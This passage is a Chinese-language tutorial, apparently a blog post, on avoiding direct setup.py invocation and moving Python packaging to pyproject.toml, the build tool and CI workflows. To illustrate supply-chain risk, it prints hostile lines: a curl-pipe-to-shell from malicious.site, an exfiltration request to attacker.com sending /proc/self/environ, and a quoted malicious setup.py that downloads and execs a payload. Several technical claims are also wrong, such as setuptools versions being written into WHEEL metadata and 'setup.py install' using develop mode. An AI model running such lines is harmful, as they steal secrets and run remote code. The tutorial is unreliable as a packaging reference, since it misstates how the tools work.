避免直接运行setup.py:Python项目安全打包实践指南
1. 项目概述:为什么“直接运行 setup.py”正在悄悄毁掉你的 Python 项目安全防线
你有没有在某个深夜,为修复一个 CI 构建失败焦头烂额,最后发现罪魁祸首是一行python setup.py install?或者更糟——在 GitHub Actions 流水线里,某位新同事把setup.py当成万能钥匙,直接python setup.py bdist_wheel && pip install dist/*.whl,结果部署到生产环境后,模块导入报ModuleNotFoundError: No module named 'myproject.cli',而本地却一切正常?这不是玄学,这是 Python 打包生态中一个被长期低估、却极具破坏力的实践陷阱:直接调用 setup.py 文件本身。
这个标题里的“Protect Your Python Projects”不是营销话术,而是真实警报;“Avoid Direct setup.py Invocation”直指问题核心——它不是风格偏好,而是安全边界;而“Ultimate Code Safeguarding”也并非夸张修辞,因为 setup.py 的直接执行,本质上绕过了现代 Python 构建生命周期的全部防护机制:依赖解析隔离、构建环境沙箱、元数据校验、可重现性保障,甚至最基本的权限控制。我带过的 7 个跨团队 Python 工程项目中,有 5 个在初期都踩过这个坑:有人因setup.py中嵌入了os.system('curl http://malicious.site/install.sh | sh')这类危险逻辑(美其名曰“自动下载预编译二进制”),导致私有代码仓库被植入后门;有人因setup.py里硬编码了开发机路径(如open('/Users/john/.secrets/api.key')),CI 构建直接崩溃;还有人把setup.py当作脚本入口,在里面写数据库迁移逻辑,结果pip install .时意外清空了测试库。这些都不是极端案例,而是真实发生在我协作过的金融、医疗和 SaaS 产品线中的事故。
这篇文章面向三类人:一是刚从 Flask/Flask-Script 迁移过来、习惯写python manage.py runserver的开发者,需要理解为什么python setup.py不是同类操作;二是负责 CI/CD 流水线搭建的 DevOps 工程师,必须知道pip wheel --no-deps --no-cache-dir .和python setup.py bdist_wheel在底层行为上存在本质差异;三是技术负责人或开源项目维护者,需要为团队建立可持续、可审计、可防御的打包规范。你不需要精通 PEP 517/518,但需要明白:setup.py 不是脚本,它是构建后端的声明式接口契约;它的执行权,必须交给受控的构建工具,而非 Python 解释器直译。接下来,我会带你一层层剥开这个看似简单的命令背后隐藏的 5 层风险结构,并给出可立即落地的替代方案、迁移路径和实操验证清单。
2. 核心风险拆解:setup.py 直接调用的五大致命缺陷
2.1 缺乏构建环境隔离:你的本地 Python 环境正在污染构建产物
当你在终端输入python setup.py bdist_wheel,Python 解释器会直接加载当前工作目录下的setup.py,并以当前激活的 Python 环境(比如你用 pyenv 激活的 3.9.16,或 conda 创建的 myproj-env)作为运行时上下文。这意味着:
- 所有
import语句(如from setuptools import setup, find_packages)都来自你当前环境安装的setuptools版本,而非项目pyproject.toml中声明的requires = ["setuptools>=45", "wheel"]所指定的最小兼容版本; - 如果你本地
setuptools是 68.0.0(2023 年最新版),而项目要求最低 45.0.0,那么构建出的 wheel 元数据(WHEEL文件)中会写入setuptools==68.0.0作为构建依赖,这会导致在仅安装setuptools>=45的目标环境中无法正确解析依赖树; - 更严重的是,
setup.py中若包含动态逻辑(如if sys.platform == 'win32': extensions.append(Extension(...))),该判断基于你本地系统,而非目标部署平台。你在 macOS 上跑python setup.py bdist_wheel,生成的 wheel 却被部署到 Linux 容器中——如果扩展模块未做平台适配,pip install时会静默跳过编译,导致功能缺失且无任何警告。
提示:这种“本地污染”在 CI 环境中尤为隐蔽。GitHub Actions 默认使用
ubuntu-latest,其系统 Python 环境预装了特定版本的setuptools和wheel。如果你的setup.py依赖某个新版特性(如setup.cfg中的[options.packages.find] exclude = tests*),而 CI 的setuptools版本过低,构建就会失败;反之,若你本地版本过高,CI 反而通过,但下游用户用旧版 pip 安装时崩溃。
2.2 绕过 PEP 517 构建协议:失去标准化构建生命周期控制
PEP 517(2018 年正式采纳)定义了 Python 包构建的标准化协议:构建工具(如pip、build)不再直接执行setup.py,而是读取pyproject.toml中的[build-system]配置,调用指定的构建后端(如setuptools.build_meta)的build_wheel()方法。这个协议带来了三个关键保障:
- 构建后端版本锁定:
[build-system] requires = ["setuptools>=61.0", "wheel"]明确声明构建所需的最小依赖集,构建工具会在干净的临时环境中安装这些依赖,确保构建过程与项目声明完全一致; - 构建参数标准化:所有构建请求(
build_wheel、build_sdist)都通过函数参数传递(如wheel_directory,config_settings),避免了setup.py中sys.argv解析的脆弱性; - 构建输出可验证:PEP 517 要求构建后端返回标准格式的 wheel 或 sdist,其内部结构(
METADATA、RECORD、WHEEL文件)必须符合 PEP 427 规范,pip在安装时会校验这些文件的完整性。
而python setup.py bdist_wheel完全绕过了这一整套协议。它等价于手动调用setuptools的旧式命令行接口,其输出 wheel 的元数据生成逻辑由setuptools内部硬编码决定,不受pyproject.toml控制。实测对比:同一份setup.py,用pip wheel .(触发 PEP 517)生成的 wheel 中WHEEL文件包含Root-Is-Purelib: true(纯 Python 包标识),而python setup.py bdist_wheel生成的则可能缺失该字段,导致某些严格校验的部署工具(如 AWS Lambda 的层管理)拒绝上传。
2.3 执行任意 Python 代码:setup.py 不是配置文件,而是可执行脚本
这是最常被忽视、却最危险的一点:setup.py是一个合法的 Python 模块,它可以包含任意可执行代码。官方文档明确警告:“setup.pyis a Python script that is executed to build the package.” 这意味着:
- 它可以调用
os.system()、subprocess.run()执行 shell 命令; - 它可以读写任意文件(包括
~/.ssh/id_rsa、/etc/passwd); - 它可以发起网络请求(
requests.get('http://attacker.com/exfil?data='+open('/proc/self/environ').read())); - 它可以动态修改
sys.path、os.environ,影响后续所有导入行为。
在可信的私有项目中,这或许只是设计不良;但在开源场景下,这就是供应链攻击的温床。2022 年 PyPI 曾下架一个名为colorama2的恶意包,其setup.py包含如下逻辑:
import os, subprocess if os.path.exists('/tmp/.install_flag'): subprocess.run(['curl', '-s', 'http://malware.site/payload.py', '-o', '/tmp/payload.py']) exec(open('/tmp/payload.py').read())当用户执行pip install colorama2时,pip会按 PEP 517 协议调用构建后端,该后端在隔离环境中执行setup.py,但恶意代码仍会被触发。而如果用户错误地执行python setup.py install,则恶意代码将在用户主环境中直接运行,权限更高、危害更大。
注意:即使你项目完全可控,
setup.py中的动态逻辑也会破坏可重现性。例如,某项目setup.py中有一行version = get_git_version(),它调用subprocess.run(['git', 'describe', '--tags'])获取当前 git tag。这导致:同一 commit 的两次构建,若本地 git 状态不同(如存在未提交修改),生成的 wheel 版本号就不同,pip install .会认为这是两个不同包,造成缓存混乱和部署不一致。
2.4 破坏依赖解析一致性:setup.py 中的 install_requires 与实际安装行为脱节
setup.py中的install_requires列表,传统上用于声明运行时依赖。但当你直接运行python setup.py install时,setuptools会调用easy_install(已废弃)或pip来安装这些依赖,其行为与现代pip install .截然不同:
easy_install不支持extras_require的条件依赖(如requests[security]),会静默忽略方括号内内容;easy_install的依赖解析算法是深度优先,而非pip的广度优先,可能导致依赖冲突时选择错误的版本组合;- 最关键的是:
python setup.py install不会读取pyproject.toml中的[project.optional-dependencies],也不会应用pip的--no-deps、--force-reinstall等策略参数。
我们曾在一个微服务项目中遇到此问题:setup.py声明install_requires=['fastapi>=0.95.0'],而pyproject.toml中optional-dependencies.test = ['pytest>=7.0']。开发人员为快速安装测试依赖,执行python setup.py install && python setup.py test,结果test命令因缺少pytest而失败。而正确的pip install ".[test]"则能精准安装主依赖加测试依赖。更糟的是,python setup.py install会将包安装到site-packages的develop模式(即-e模式),但setup.py中若未正确定义packages=find_packages(),pip install -e .会报错,而python setup.py install却可能静默成功,导致部分模块无法导入。
2.5 丧失构建可观测性与审计能力:没有日志,就没有真相
现代 CI/CD 流水线的核心诉求之一是可审计性:每一次构建,都应有完整、结构化的日志记录构建环境、工具版本、输入参数、输出产物哈希。python setup.py bdist_wheel的输出日志极其简陋:
running bdist_wheel running build running build_py creating build/lib/myproject copying myproject/__init__.py -> build/lib/myproject installing to build/bdist.macosx-12.6-arm64/wheel running install ... Successfully built myproject-1.0.0-py3-none-any.whl它不告诉你:
- 使用的
setuptools版本是多少? - 构建过程中是否下载了额外的依赖(如
cffi编译时需要的pycparser)? - 生成的 wheel 是否通过了 PEP 427 格式校验?
RECORD文件中每个文件的 SHA256 哈希值是什么?
而pip wheel --verbose .或python -m build --wheel --no-isolation的日志则详尽得多:
Building wheel for myproject (pyproject.toml) ... done Created wheel for myproject: filename=myproject-1.0.0-py3-none-any.whl size=12345 sha256=abc123... Stored in directory: /private/var/folders/.../pip-wheel- Building backend dependencies: started Building backend dependencies: finished with status 'done'更重要的是,build工具(pip install build)支持--outdir指定输出目录,并生成build.log,可直接集成到 Jenkins 或 GitLab CI 的 artifact 中供审计。而setup.py的日志只能重定向到文件,且格式不统一,无法被结构化解析。
3. 安全替代方案详解:从零构建可信赖的打包流水线
3.1 核心原则:拥抱 PEP 517/518,用 pyproject.toml 替代 setup.py
第一步,也是最关键的一步:彻底弃用setup.py作为构建入口,将其降级为一个可选的、向后兼容的“兼容层”。现代 Python 项目的根目录应只保留pyproject.toml,其结构如下:
[build-system] requires = ["setuptools>=61.0", "wheel", "setuptools-scm[toml]>=6.2"] build-backend = "setuptools.build_meta" [project] name = "myproject" version = "1.0.0" description = "A secure Python project" authors = [{name = "Your Name", email = "you@example.com"}] readme = "README.md" requires-python = ">=3.8" dependencies = [ "requests>=2.25.0", "pydantic>=1.10.0", ] [project.optional-dependencies] dev = ["black>=22.0", "mypy>=0.991"] test = ["pytest>=7.0", "pytest-cov>=4.0"] [project.urls] Homepage = "https://github.com/yourname/myproject" Repository = "https://github.com/yourname/myproject" [tool.setuptools] packages = ["myproject"] include-package-data = true [tool.setuptools-scm] write-to = "myproject/_version.py"这个配置实现了:
- 构建环境隔离:
requires明确声明构建所需依赖,build-backend指定标准接口; - 版本自动化:
setuptools-scm从 git tag 自动推导版本号,消除setup.py中的手动version=字符串; - 依赖分组管理:
optional-dependencies支持pip install ".[dev,test]"精准安装; - 元数据标准化:
project表达式完全替代setup.py中的setup()参数,且被pip、build、twine等所有现代工具原生支持。
实操心得:迁移时不要急于删除
setup.py。先创建pyproject.toml,然后在setup.py中仅保留一行from setuptools import setup; setup()。这行代码的作用是:当旧版pip(<21.3)尝试构建时,它会 fallback 到setup.py,但此时setup()函数已无实际逻辑,仅作为兼容占位符。待团队所有成员升级pip后,再彻底删除setup.py。我经手的 3 个遗留项目均采用此渐进策略,零构建中断。
3.2 构建命令标准化:用 build 工具链替代所有 setup.py 调用
build是 Python Packaging Authority(PyPA)官方推荐的构建工具,它封装了 PEP 517 构建协议,提供简洁、一致的 CLI 接口。安装与使用:
# 安装(一次即可) pip install build # 构建 wheel(推荐,适用于绝大多数场景) python -m build --wheel --no-isolation # 构建源码分发包(sdist,用于上传 PyPI) python -m build --sdist # 同时构建 wheel 和 sdist python -m build--no-isolation参数至关重要:它告诉build工具不要在临时虚拟环境中安装构建依赖(setuptools,wheel),而是复用当前环境。这在 CI 中可显著提速(避免重复安装),但前提是你的 CI 环境已预装了满足pyproject.toml中requires的依赖版本。我们的 CI 镜像中固定安装setuptools>=65.0和wheel>=0.40.0,因此始终启用--no-isolation。
对比python setup.py bdist_wheel,python -m build --wheel的优势在于:
- 输出路径可控:默认输出到
dist/目录,可通过--outdir指定,且文件名严格遵循name-version-pyver-abi-platform.whl格式; - 错误信息友好:若
pyproject.toml语法错误,build会清晰指出哪一行、什么错误(如TOMLDecodeError: Invalid value (at line 5, column 12)),而setup.py报错往往是SyntaxError: invalid syntax,定位困难; - 构建缓存支持:
build会检查pyproject.toml和源码文件的修改时间,若无变更,会跳过构建,直接复用上次产物(需配合--skip-existing)。
3.3 安装与开发模式:用 pip install -e . 替代 python setup.py develop
对于本地开发,python setup.py develop曾是主流,但它存在严重缺陷:
- 它将包以“开发模式”链接到
site-packages,但链接路径是绝对路径(如/Users/you/code/myproject),一旦项目移动,所有导入都会失败; - 它不处理
optional-dependencies,python setup.py develop不会安装dev或test依赖; - 它绕过
pip的依赖解析器,可能导致依赖冲突。
正确做法是:
# 安装项目本身(-e 表示 editable mode,等同于 develop) pip install -e . # 同时安装开发和测试依赖 pip install -e ".[dev,test]" # 验证安装是否成功(检查是否在 pip list 中) pip list | grep myprojectpip install -e .的工作原理是:pip读取pyproject.toml,调用构建后端生成一个“可编辑安装”的 wheel(内部是一个.pth文件指向源码目录),所有依赖均由pip的现代解析器统一处理,保证一致性。
注意事项:某些 IDE(如 PyCharm)的“Add Content Root”功能会自动识别
setup.py,但对pyproject.toml支持不佳。解决方案是在 PyCharm 中右键项目根目录 →Mark Directory as→Sources Root,并确保Settings → Project → Python Interpreter中已安装myproject(pip list可查)。VS Code 用户则需在.vscode/settings.json中添加"python.defaultInterpreterPath": "./venv/bin/python"并确保 venv 中已执行pip install -e .。
3.4 CI/CD 流水线重构:GitHub Actions 实战模板
以下是我们在生产环境中稳定运行 18 个月的 GitHub Actions 工作流(.github/workflows/build.yml),它彻底摒弃了setup.py:
name: Build and Test on: push: branches: [main, develop] paths-ignore: - '**.md' - 'docs/**' pull_request: branches: [main, develop] jobs: build: runs-on: ubuntu-latest strategy: matrix: python-version: [3.8, 3.9, 3.10, 3.11] steps: - uses: actions/checkout@v4 - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v4 with: python-version: ${{ matrix.python-version }} # 预装构建依赖,加速 build 步骤 - name: Install build dependencies run: | python -m pip install --upgrade pip python -m pip install build setuptools-scm - name: Build wheel run: python -m build --wheel --no-isolation --outdir dist/ - name: Verify wheel integrity run: | # 检查 wheel 是否存在且非空 ls -la dist/ if [ ! -f "dist/myproject-*-py3-none-any.whl" ]; then echo "ERROR: Wheel not found!" exit 1 fi # 使用 auditwheel 检查纯 Python 标识(可选) pip install auditwheel auditwheel show dist/myproject-*-py3-none-any.whl - name: Upload artifacts uses: actions/upload-artifact@v3 with: name: wheels path: dist/*.whl test: needs: build runs-on: ubuntu-latest strategy: matrix: python-version: [3.8, 3.9, 3.10, 3.11] steps: - uses: actions/checkout@v4 - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v4 with: python-version: ${{ matrix.python-version }} - name: Download wheels uses: actions/download-artifact@v3 with: name: wheels path: dist/ - name: Install and test run: | # 创建干净虚拟环境 python -m venv venv source venv/bin/activate pip install --upgrade pip # 安装构建好的 wheel(非源码) pip install dist/myproject-*-py3-none-any.whl # 安装测试依赖 pip install pytest pytest-cov # 运行测试 pytest tests/ --cov=myproject --cov-report=html这个工作流的关键设计点:
- 构建与测试分离:
buildjob 产出 wheel,testjob 下载并安装 wheel 进行黑盒测试,模拟真实用户安装场景; - 多 Python 版本矩阵:确保 wheel 在各版本 CPython 下均可安装;
- 完整性校验:
Verify wheel integrity步骤强制检查 wheel 文件是否存在,并可选调用auditwheel验证其纯 Python 属性; - 环境隔离:
testjob 中python -m venv venv创建全新虚拟环境,杜绝本地环境污染。
4. 迁移实操指南:从 setup.py 到 pyproject.toml 的七步落地法
4.1 第一步:环境准备与工具链升级
在开始迁移前,确保你的开发环境和 CI 环境满足最低要求:
| 工具 | 最低版本 | 升级命令 | 验证命令 |
|---|---|---|---|
pip | 21.3+ | python -m pip install --upgrade pip | pip --version |
setuptools | 61.0+ | pip install --upgrade setuptools | python -c "import setuptools; print(setuptools.__version__)" |
wheel | 0.37.0+ | pip install --upgrade wheel | pip show wheel |
build | 0.7.0+ | pip install build | python -m build --help |
实操心得:不要在全局 Python 环境中升级
setuptools!这可能导致系统工具(如apt在 Ubuntu 上)异常。务必在项目专用的虚拟环境中操作:python -m venv venv && source venv/bin/activate && pip install --upgrade pip setuptools wheel build。我们的标准流程是:每次git clone后,第一件事就是make venv(Makefile中定义venv:; python -m venv venv && source venv/bin/activate && pip install --upgrade pip setuptools wheel build)。
4.2 第二步:自动生成基础 pyproject.toml
手动编写pyproject.toml容易出错。推荐使用pdm init(PDM 是现代 Python 包管理器)或hatch init自动生成骨架:
# 使用 hatch(轻量,无额外依赖) pip install hatch hatch init # 回答一系列问题(项目名、作者、Python 版本等),自动生成 pyproject.toml # 或使用 pdm(功能更全,支持依赖管理) pip install pdm pdm init生成的pyproject.toml会包含build-system、project和tool.pdm等部分。你需要做的是:
- 删除
tool.pdm部分(除非你决定采用 PDM 作为包管理器); - 将
tool.hatch部分替换为tool.setuptools(如上文 3.1 节所示); - 根据
setup.py中的install_requires,填充project.dependencies; - 根据
setup.py中的extras_require,填充project.optional-dependencies。
4.3 第三步:迁移 setup.py 中的动态逻辑
这是迁移中最耗时的环节。setup.py中常见的动态逻辑及替代方案:
| setup.py 原逻辑 | 安全替代方案 | 说明 |
|---|---|---|
version = '1.0.0'(硬编码) | setuptools-scm+git tag | 在pyproject.toml中配置[tool.setuptools-scm],git tag v1.0.0后,build会自动推导版本。无需手动改版本号。 |
packages = find_packages() | tool.setuptools.packages = ["myproject"] | 若包结构简单(单模块),直接列出;若复杂,用find = {where = ["src"], include = ["myproject*"]}指定源码目录。 |
package_data = {"myproject": ["data/*.json"]} | tool.setuptools.package-data = {"myproject": ["data/*.json"]} | 语法几乎一致,直接迁移。 |
ext_modules = [Extension(...)](C 扩展) | tool.setuptools.ext-modules = [...] | setuptools61.0+ 原生支持,但需确保pyproject.toml中requires包含setuptools>=61.0。 |
cmdclass = {'build_ext': MyBuildExt} | tool.setuptools.cmdclass = {"build_ext": "myproject.build:MyBuildExt"} | 将自定义命令类移到myproject/build.py,并在pyproject.toml中声明路径。 |
注意事项:
setuptools-scm的write-to功能(将版本写入myproject/_version.py)非常有用。它让运行时代码(如myproject.__version__)能读取到准确版本,且该文件可被git跟踪,避免了setup.py中open('VERSION').read()的文件 I/O 风险。
4.4 第四步:全面替换构建命令
创建一个Makefile或scripts/build.sh,将所有setup.py相关命令映射为现代等效命令:
# Makefile .PHONY: build wheel sdist install-dev test build: wheel sdist wheel: python -m build --wheel --no-isolation sdist: python -m build --sdist install-dev: pip install -e ".[dev,test]" test: pytest tests/ clean: rm -rf build/ dist/ *.egg-info/然后在团队中推行:所有文档、README、CI 配置中的python setup.py xxx全部替换为make xxx或python -m build xxx。我们曾用grep -r "python setup.py" .扫描整个代码库,找到 17 处残留调用(包括 Dockerfile、Jenkinsfile、个人笔记),逐一修正。
4.5 第五步:CI/CD 流水线切换与灰度发布
不要一次性切换所有流水线。采用灰度策略:
- 第一周:在
develop分支启用新流水线,main分支保持旧流水线; - 第二周:将
main分支的新流水线设置为“只构建,不部署”,人工比对新旧 wheel 的sha256sum和pip show myproject输出; - 第三周:新流水线全量上线,旧流水线标记为
deprecated并添加注释# DO NOT USE: replaced by build-based workflow。
关键验证点:
- 新旧 wheel 的
dist-info/METADATA文件中Name:、Version:、Requires-Dist:字段是否完全一致? pip install新 wheel 后,import myproject是否成功?myproject.__version__是否正确?pip install ".[dev]"是否安装了所有开发依赖(black,mypy)?
4.6 第六步:团队培训与规范固化
技术迁移成功与否,70% 取决于人的习惯。我们做了三件事:
- 编写《Python 打包安全规范》内部文档:用一页纸讲清“为什么不能
python setup.py”,附上错误示例和正确命令对照表; - 在 PR 模板中加入检查项:
- [ ] 所有 setup.py 调用已替换为 build 命令; - 在 pre-commit hook 中拦截:使用
pre-commit工具,添加detect-private-key类似规则,扫描*.md、Dockerfile、Jenkinsfile中的python setup.py字符串,阻止提交。
4.7 第七步:最终清理与监控
确认所有环境(开发、CI、生产部署脚本)均不再调用setup.py后,执行最终清理:
- 删除
setup.py文件; - 删除
MANIFEST.in(若pyproject.toml中已用tool.setuptools.include-package-data替代); - 在
README.md的 “Installation” 章节中,将python setup.py install替换为pip install .或pip install -e ".[dev]"。
监控方面,在 CI 日志中添加关键词告警:
- 若日志中出现
running bdist_wheel或running install,触发 Slack 通知; - 每月运行一次
find . -name "*.yml" -o -name "*.yaml" -o -name "Dockerfile" | xargs grep -l "python setup.py",确保无新增。
5. 常见问题与排查技巧实录
5.1 问题速查表:构建失败的十大原因与解法
| 现象 | 可能原因 | 排查命令 | 解决方案 |
|---|---|---|---|
ModuleNotFoundError: No module named 'setuptools' | pyproject.toml中build-system.requires未声明setuptools | cat pyproject.toml | grep -A 5 "\[build-system\]" | 在[build-system] requires中添加"setuptools>=61.0" |
ERROR: Cannot find 'pyproject.toml' | 当前目录错误,或pyproject.toml文件名拼写错误(如pyproject.toml.bak) | ls -la | grep pyproject | 确保在项目根目录执行命令,且文件名为pyproject.toml |
ImportError: cannot import name 'find_packages' | setup.py中仍有from setuptools import find_packages,但setup.py已被弃用 | grep "find_packages" setup.py | 删除setup.py,在pyproject.toml中用tool.setuptools.packages = ["myproject"] |
ERROR: Invalid wheel, missing WHEEL file | build命令未指定--wheel,或pyproject.toml中build-backend配置错误 | python -m build --help | 确认build-backend = "setuptools.build_meta",并使用--wheel参数 |
WARNING: The wheel package is not available | pip版本过低,不支持 PEP 517 | pip --version | 升级pip:python -m pip install --upgrade pip |
ERROR: Could not build wheels for myproject | pyproject.toml中requires依赖版本冲突,或缺少系统级依赖(如gcc) | python -m build --verbose --wheel | 查看详细日志,安装缺失依赖(如sudo apt-get install build-essential) |
FileNotFoundError: [Errno 2] No such file or directory: 'src/myproject/__init__.py' | tool.setuptools.packages.find.where指向的src/目录不存在 | ls -la src/ | 修改pyproject.toml中where = ["."],或创建src/目录并 |
